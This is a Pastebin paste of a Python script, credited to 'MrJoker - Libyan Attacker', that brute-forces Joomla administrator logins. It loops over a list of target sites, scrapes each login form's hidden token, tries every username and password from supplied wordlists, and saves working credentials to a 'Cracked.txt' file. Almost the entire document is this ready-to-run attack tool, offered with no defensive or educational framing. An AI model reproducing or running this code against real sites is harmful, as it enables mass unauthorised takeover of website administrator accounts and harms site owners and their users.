LibyanJoker

Joomla Brute Force

Mar 3rd, 2017
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. # coding=utf-8
  3.  
  4. import re,os
  5. try:
  6.     import requests
  7. except:
  8.     print "Please! Install Request Module"
  9. banner = '''
  10.  
  11. ,--.   ,--.            ,--.       ,--.
  12. |   `.'   |,--.--.     |  | ,---. |  |,-. ,---. ,--.--.
  13. |  |'.'|  ||  .--',--. |  || .-. ||     /| .-. :|  .--'
  14. |  |   |  ||  |   |  '-'  /' '-' '|  \ \\   --.|  |
  15. `--'   `--'`--'    `-----'  `---' `--'`--'`----'`--'
  16.  
  17. ==========================================================
  18. || Welcome To J-Attack Bot - Version : 0.1 ( Python )   ||
  19. ==========================================================
  20. || Coded By : MrJoker - Libyan Attacker                 ||
  21. ==========================================================
  22. || Skype : live:mr9_9 - Face : 1337MrJoker              ||
  23. ==========================================================
  24. '''
  25. fuck = raw_input('\n\t ===> Enter List Name <=== : ')
  26. listuser = raw_input("\t ===> Enter Your Username List <=== : ")
  27. listpass = raw_input("\t ===> Enter Your Password List <=== : ")
  28. class Jmbrute(object) :
  29.   """
  30.  Class to brute force joomla
  31.  """
  32.   def __init__(self, website, timeout=10) :
  33.     self.website = website
  34.     # Making a requests sesion object
  35.     self.req = requests.session()
  36.     self.timeout = timeout
  37.  
  38.   def __makeGet(self, url) :
  39.     try :
  40.       return self.req.get(url, timeout=self.timeout).text
  41.     except :
  42.       pass
  43.  
  44.   def getToken(self) :
  45.     try :
  46.       return re.search('<input type="hidden" name="(.*?)" value="1" />', self.__makeGet(self.website)).group(1)
  47.     except :
  48.       return False
  49.  
  50.   def trylogin(self, user, passwd, token) :
  51.     dat = {
  52.         'username' : user,
  53.         'passwd'   : passwd,
  54.         token      : '1',
  55.         'lang'     : '',
  56.         'option'   : 'com_login',
  57.         'task'     : 'login',
  58.         'return'   : 'aW5kZXgucGhw'
  59.         }
  60.     try :
  61.       self.req.post(self.website, data=dat, timeout=self.timeout)
  62.     except :
  63.       pass
  64.   def checklog(self) :
  65.     res = self.__makeGet(self.website)
  66.     if res : return 'logout' in res
  67.     else : return False
  68. def file2list(fil) :
  69.   with open(fil, 'r')  as myfile :
  70.     return myfile.read().split()
  71. def test(url):
  72.     try:
  73.             print "[!]-> Scanning : " + url
  74.             userlist = file2list(listuser)
  75.             passlist = file2list(listpass)
  76.             brute(url,userlist,passlist)
  77.     except:
  78.         pass
  79. def brute(url,user,passw):
  80.     try:
  81.         site = url + "/administrator/index.php"
  82.         for us in user:
  83.             for passwd in passw:
  84.                 jm = Jmbrute(site)
  85.                 token = jm.getToken()
  86.                 if token:
  87.                     jm.trylogin(us, passwd, token)
  88.                     if jm.checklog():
  89.                         print  '\n[*] Cracked', site, '\n[+] Username : ' + us, '\n[+] Password :', passwd + '\n'
  90.                         if not os.path.exists("Result"):
  91.                             os.mkdir("Result", 0755);
  92.                         logger(site, us, passwd, 'Result/Cracked.txt')
  93.                         break
  94.                     else:
  95.                         print "[-] Wrong Username : " + us + " And Wrong Password : " + passwd
  96.     except:
  97.         pass
  98. def logger(website, user, passwd, filename):
  99.     with open(filename, 'a') as myfile:
  100.         myfile.write('[*] Cracked ' + website + ' \n#Username : ' + user + ' \n#Password : ' + passwd + '\n')
  101. try:
  102.     hello = open(fuck).readlines()
  103.     print banner
  104.     if (len(hello) > 0):
  105.         for attack in hello:
  106.             _attack = attack.rstrip()
  107.             test(_attack)
  108. except:
  109.     pass
Add Comment
Please, Sign In to add comment